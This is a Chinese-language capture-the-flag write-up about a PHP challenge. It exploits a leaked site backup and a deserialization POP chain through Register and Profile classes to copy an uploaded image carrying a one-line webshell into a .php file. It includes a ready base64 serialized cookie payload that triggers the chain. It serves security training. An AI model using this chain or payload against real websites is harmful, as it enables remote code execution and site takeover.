考点
网站备份文件泄露
反序列化(多文件pop链构造)
前置知识
魔术方法
1 | __get 读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用 |
解题过程
分析题型
打开是这么个界面
注册一个账号登录后,发现一处文件上传。
该尝试的都尝试了,当时卡在这个地方,然后悄悄搂了一眼大佬的博客。
抓包,发现cookie有蹊跷。
1 | YTo1OntzOjI6IklEIjtpOjQ7czo4OiJ1c2VybmFtZSI7czo1OiJ0ZXN0MSI7czo1OiJlbWFpbCI7czoxMjoidGVzdDFAcXEuY29tIjtzOjg6InBhc3N3b3JkIjtzOjMyOiI1YTEwNWU4YjlkNDBlMTMyOTc4MGQ2MmVhMjI2NWQ4YSI7czozOiJpbWciO3M6Nzk6Ii4uL3VwbG9hZC9iYmYzOTdkN2ZlMGNhZjJhMmIwMWY5OTk3Y2VjYTEwYi8wNjhhZTQwNTIzYTI0YzllZjU0ZWRlZmQzNzVlNTQyZC5wbmciO30%3D |
1 | a:5:{s:2:"ID";i:4;s:8:"username";s:5:"test1";s:5:"email";s:12:"test1@qq.com";s:8:"password";s:32:"5a105e8b9d40e1329780d62ea2265d8a";s:3:"img";s:79:"../upload/bbf397d7fe0caf2a2b01f9997ceca10b/068ae40523a24c9ef54edefd375e542d.png"O30%3D |
Cookie为注册信息序列化后的值。到这有两种思路,第一个就是测试序列化中传入的路径是否存在目录穿越,第二个就是扫网站备份文件。经过测试,第一种不成功。扫目录扫到了www.tar.gz。
代码审计
主要的功能点在这四个文件上。
在Index.php中发现了反序列化入口点。
接下来找利用点。在Profile.php 文件中 有一个类Profile,Profile中有一个方法upload_img。代码如下。
1 | public function upload_img(){ |
是我太菜了,刚开始自己看了一遍,没看出什么毛病,搂一眼大佬博客,发现利用点为copy,这个
copy(source, dest)将文件从 source拷贝到dest。成功时返回TRUE, 或者在失败时返回FALSE。这里$this->filename_tmp和$this->filename 在可控的情况下,可以将上传的有一句话的png格式图片文件拷贝成php后缀的文件。
1 | $this->filename_tmp = "shell.png"; |
找到了利用点,接下来,怎么才能执行到这个upload_img方法。
Profile类中发现两个魔术方法
1 | public function __get($name) |
1 | __get 读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用 |
在__call 方法中,只需要将$this->{$this->{$name}}的中的$this->{$name}值为upload_img,就能够调用upload_img方法。那要怎么才能触发__call,并且让$this->{$name}值为upload_img呢?
在REgister.php文件中。
1 | class Register extends Controller |
Register中的__destruct方法调用了$this->checker->index();假设,我们把$this->checker改成Profile类,那这里的语句就能够触发Profile::__call方法。这样一条链条就形成了。
1 | Register::__construct()->Register::__destruct()->Profile::__call()->Profile::__get()->Profile::__call()->Profile::upload_img()->copy() |
Register::__construct()中将$this->checker指定为new Profile(),
Register::__destruct() 会调用Profile类中的index方法,发现找不到,会触发Profile::__call。
1 | public function __get($name) |
触发Profile::__call,$name的值则为index,当执行到$this->{$name}发现找不到index这个属性,又会触发__get,__get则会从$this->except数组中取键名为index的值返回。当我们把$this->except属性值设置为["index"=>"upload_img"],这样在执行$this->{$this->{$name}}($arguments);一句时,$this->{$name}不就是upload_img了吗。然后就会进入到upload_img方法中,接下来只需要修改一些属性值,就能执行到copy($this->filename_tmp,$this->filename);。这里怎么利用刚刚已经说过了。
先注册一个账号,上传一个图片格式后缀的一句话木马(加GIF89a),拿到上传路径。
shell.png
1 | GIF89a |
序列化
上脚本。
1 |
|
1 | TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO2k6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6ODY6Ii4uL3B1YmxpYy91cGxvYWQvYmJmMzk3ZDdmZTBjYWYyYTJiMDFmOTk5N2NlY2ExMGIvZmI1YzgxZWQzYTIyMDAwNGI3MTA2OTY0NWYxMTI4NjcucG5nIjtzOjg6ImZpbGVuYW1lIjtzOjU5OiIuLi9wdWJsaWMvdXBsb2FkL2JiZjM5N2Q3ZmUwY2FmMmEyYjAxZjk5OTdjZWNhMTBiL3NoZWxsLnBocCI7czoxMToidXBsb2FkX21lbnUiO3M6MzI6ImY1Mjg3NjRkNjI0ZGIxMjliMzJjMjFmYmNhMGNiOGQ2IjtzOjM6ImV4dCI7aToxO3M6MzoiaW1nIjtOO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MTA6InVwbG9hZF9pbWciO319czo4OiJyZWdpc3RlZCI7Tjt9 |
login_check函数中为反序列化的触发点。
这里的index、home路由都会调用login_check。
提交
总结
有意思,有意思,先自己做,做不起悄悄搂一眼大佬博客,在继续做,学到很多。










